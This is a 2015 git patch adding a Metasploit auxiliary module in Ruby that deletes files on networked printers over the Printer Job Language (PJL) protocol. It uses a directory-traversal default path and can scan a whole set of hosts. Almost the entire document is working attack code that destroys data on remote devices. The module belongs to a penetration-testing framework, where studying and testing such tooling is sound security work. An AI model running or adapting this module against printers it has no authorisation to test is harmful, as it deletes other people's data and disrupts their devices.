From b3d4fc798fc022867f8ee7ced1c05a8d81e57932 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 25 Feb 2015 15:47:53 -0600 Subject: [PATCH] Add printer_delete_file module --- .../scanner/printer/printer_delete_file.rb | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 modules/auxiliary/scanner/printer/printer_delete_file.rb diff --git a/modules/auxiliary/scanner/printer/printer_delete_file.rb b/modules/auxiliary/scanner/printer/printer_delete_file.rb new file mode 100644 index 000000000000..385505993396 --- /dev/null +++ b/modules/auxiliary/scanner/printer/printer_delete_file.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" +require "rex/proto/pjl" + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + "Name" => "Printer File Deletion Scanner", + "Description" => %q{ + This module deletes a file on a set of printers using the + Printer Job Language (PJL) protocol. + }, + "Author" => [ + "wvu", # Rex::Proto::PJL and modules + "sinn3r", # RSpec tests + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni " # Independent modules + ], + "References" => [ + ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] + ], + "License" => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), + OptString.new("PATH", [true, "Remote path", '0:\..\..\..\eicar.com']) + ], self.class) + end + + def run_host(ip) + path = datastore["PATH"] + + connect + pjl = Rex::Proto::PJL::Client.new(sock) + pjl.begin_job + + pjl.fsinit(path[0..1]) + file = pjl.fsdelete(path) + + pjl.end_job + disconnect + + print_good("#{ip}:#{rport} - Deleted #{path}") + end + +end